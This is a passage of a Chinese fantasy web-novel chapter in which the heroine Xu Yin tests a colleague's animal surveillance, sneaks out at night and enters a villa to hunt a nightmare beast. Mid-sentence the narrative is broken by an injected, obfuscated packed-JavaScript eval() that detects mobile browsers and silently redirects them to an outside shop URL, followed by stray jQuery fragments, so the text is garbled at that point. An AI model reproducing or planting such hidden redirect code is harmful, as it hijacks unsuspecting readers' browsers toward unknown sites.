许洇:“……”
【理性】:他肯定不知道,你今天已经杀死了一只伪人了。结束战斗以后,梁远就测过了你的污染值。
连祈奇:“好吧,我承认。我是个胆子很小的人。我刚才差点以为我遭遇了职业生涯里最后一场诡异,马上就要交代在这里了。许执事,你的笑真的吓到我了。”
他将木矛重新放回筐内,一个一个地摆好,又将检测仪对准自己滴了一下,将数字展示给许洇看。
39%。
“再超过1%,我就要变成非人的怪物了。”连祈奇摇摇头,“许执事,我来自艾菲力海军对异常特情处。那个机构类似大地教会的异裁所。但海上不像这儿那么温和——我们的污染值一旦超过40%,会被直接建议安乐死。”
【知识】:艾菲力帝国在大地神国北边,临海,气候温暖。他们是君王治国,民众和王室主要信仰的是海洋之神……但海神在那里并没有统一的教会。几个同样信仰海神的教会之间互相敌视,1100年在艾菲力殖民地阿诺德爆发的西海独立战役,其冲突的部分原因即教会信仰的不统一。
【理性】:这可能和海神陨落的状态有关。死去的神明失去了话语权,信仰因此变成了权力的游戏。这点祂还不如知识之神,从头到尾的漠视也好过半路的陨落。
【知识】:你有一点很好奇:如果不接受*建议*会怎么样?
“在海上,人们都疯狂地想为了海神献上一切。祂安眠的海域不应该有怪物,所以即使只是可能性,艾弗里人也会想办法把它扼杀在摇篮里。”连祈奇摇了摇头,“我年轻的时候也被那种狂热的气氛感染过。不过后来清醒了,也怕死,就退役了。
“许执事,看得出来你也是个不怕死的。就当是我多嘴——别拿自己的命不当命。我见过不少年轻人,他们被狂热的氛围同化,匍匐在神明脚下,发誓将信仰看得比生命更重。我自己曾经也是他们中的一员。但后来,我真的找到了比自己生命更重要的东西——我的爱人,她笑起来比西海岸最美的朝霞还美。
“那时候我就在想,人总要找到一点羁绊,在这个糟糕透顶的世界活下去。只要找到了它,不管过着多苦的日子,都想要为了它活下去。我话多,您见谅,我就是说这么个意思——好好活着比什么都重要。”
许洇沉默。
【看来阁下那个笑真把他吓得不轻。】筐里的木矛说,【不过这次在下认同他的观点。阁下现在的状态只能算*活着*而已。虽然有很强的求生欲,但那说到底也只是一种动物本能。阁下还不明白自己为什么要活。但在下很乐观。在下相信阁下总有天会领悟生活之美,为了真正值得感动之物奋斗。】
【知识】:好吧,好吧——续人之后,连柄木矛都开始朝你灌鸡汤了。你真该好好反思一下自己,为什么会让别人产生你随时会轻生的错觉,许洇。
【感性】:我觉得还是笑容的问题。我们之后还是别笑了吧?
……
续那天针对伪人的行动收尾,许洇白天去蔡乐乐和连祈奇那儿学习诡异知识和格斗术(其实完全是在切磋),晚上躺在床上睁着眼睛发呆,就这样过了两天平静日子。
期间,蒋钰拿过几张照片给许洇看。那是她调查了叶安然的人际关系后,找到的和她存在密切接触的人的相片。
不过,很遗憾,许洇一个也不认识。
蒋钰也不沮丧,继续积极地调查。她每天回来都挺晚的,但每次都回来看看许洇,邀请许洇来她房间坐坐,并监督她有没有按时吃饭。
而在25号的夜晚,许洇回忆着【魇兽】相关的知识,发动了【狩猎】。
她刚从蒋钰屋里回来,关了灯,坐在黑暗中,等待着。
【感官残留】让她的一部分感官停留在蒋钰的房间内,她静静地转动眼珠,看着女人洗漱、躺下、阖眼。
直到听见她的呼吸声变得悠长而均匀,许洇才站起身,拿起沙发上的枕头,盖住了自己的脸。
她走到窗前,轻轻打开窗户。窗户外头安装了防盗栏杆,许洇的手伸出窗外,摸到边缘的螺母,单手将它们旋了下来。
她几乎没发出一点响动。皎洁的月光洒下,窗外的树梢上,一只八哥正呆呆地看着这一切。
昨天,在知道教会在提防她时,许洇就明白,蒋钰会派自己的动物朋友来监视自己。但她没法一直使用异能盯着她,所以只会留一缕心智在它们身上,它们发现不对时才会和蒋钰“报警”。
所以,昨夜她主动要求和蒋钰谈心,谈了几分钟,用【感官残留】把视觉留在她屋里,实验监视她的鸟要达成什么条件才会“报警”。
第一次她往窗户外面扔了点饼干。
监视的鸟无动于衷。
第二次,她露出脸来。
隔壁的蒋钰睁开了眼。
她装作只是睡不着,晒了会儿月亮就回到了房间,等待睡意再次将蒋钰笼罩。
第三次,她用枕头遮住了自己的脸。
鸟被她吸引,眼珠一直跟着她移动。但蒋钰并没有被惊动。这说明,盯着移动的事物只是鸟的本能,不会触动蒋钰留在它身上的心智。
就此,许洇的【知识】和【理性】大胆下了判断:只有当许洇的人脸在鸟的视野中出现时,才会触动蒋钰的心智。
于是,许洇今天故技重施,拿着枕头盖脸,将八个螺母拧得只剩三个,剩下三个也拧松。松掉的防盗窗摇摇欲坠,许洇将它掀起一个角,从窗户上爬了出去。
这是实验出蒋钰操控动物的规律后,许洇才敢当着蒋钰动物的面翻窗。如果蒋钰的动物监视非常严苛,没法翻窗出去,那许洇会选择从正门走,另想办法绕过保安——她的直觉告诉她,比起走正门,走窗户是更好的选择。
【知识】:这感觉就像在做贼,不是吗?很久以前,你也曾穿梭在街巷中,为了一点食物东躲西藏。无论在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626577|206263||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
什么地方,你都无法安定下来,无论在什么地方,你都是个缺少身份的人,许洇。
【欲望】:你需要一个身份吗?还是渴望找到同类呢?你究竟是谁呢,许洇?你的朋友是谁,你的敌人是谁?杀死魇兽,获得异能,欺骗教会,追查真相,回忆过去,这是你接下来的行动。那之后呢?只要活着都有渴求,而*你*生活的原动力,竟然连你的【欲望】都不知道。
【感性】:也许只是今天的月光太亮,在本应漆黑的夜晚投下了太深重的影子……也许你只是感到孤独。
许洇将螺丝重新旋回防盗窗,轻巧地爬下墙。
等到走出一段距离,许洇再也感受不到视线的时候,她才开口:“什么是孤独?”
柯格尼塔没有月光,所以许洇不懂为什么月光亮她会感到孤独。
空荡的街上,只有寥寥几人步伐匆匆。许洇的耳畔传来轻柔的声音。
【感性】:孤独……就是偷到的东西无法分享,秘密也只能说给自己听吧。
许洇把枕头夹在腋下。
她还是不懂。
但这个问题对许洇来说也不那么重要——她搭话只是为了在去花冠区的路上消磨时间。
花冠区就在蓝晶区旁边,脚程快一点的话,走半个小时就到了。
【狩猎】发动后,许洇发现魇兽的数量比她想象中的还多,她选择了其中一只锁定,方位显示在花冠区。
花冠区的建筑比蓝晶区的更精致、更漂亮,曲线型的装饰也更多。大地神国的建筑风格很有机,隔两步一条绿化带,在不同季节生长的花朵争芳斗艳,花冠区则更夸张,家家户户别墅院前都种着各式植物,此刻,夜灯草正在园圃间散发着幽蓝的微光。
这几天花冠区都有阵雨,阵雨湿润了泥土,也让植物格外生机勃勃。
这对许洇来说是好事。雨水可以冲刷走她行动的痕迹,让那些微小的痕迹自然消失,而带来的麻烦只有回去后多换件衣服。
许洇在一栋别墅旁边停下。
她的目标就在这栋别墅里。
她仔细检查了一遍四周的院墙,确认除了尖锐的围栏没有其他东西,便抓住栏杆翻了过去。
【世风日下,人心不古,光天化月之下竟有人私闯民宅!】绿色底、上面绘着向日葵图案的枕头碎碎念道,【你要干什么?杀人、放火,还是抢劫?】
她没理枕头,三步做两步爬上墙,轻巧地上了阳台。
这里是三楼。阳台的门没锁,玻璃门后是蓝白色的窗帘,许洇夹着枕头的影子打在了上面。
影子越来越大,最后完全笼罩在玻璃门上,门悄声无息地打开。
这是一个女孩的房间,布置得温馨可爱,床上、床边、橱柜里放满了毛绒娃娃,从各种动植物到人形娃娃,各种类型的都有。
房间的主人正困于噩梦之中。她睡着很不安稳,脚将被子踢了一半下去,眉头紧蹙,脸色苍白。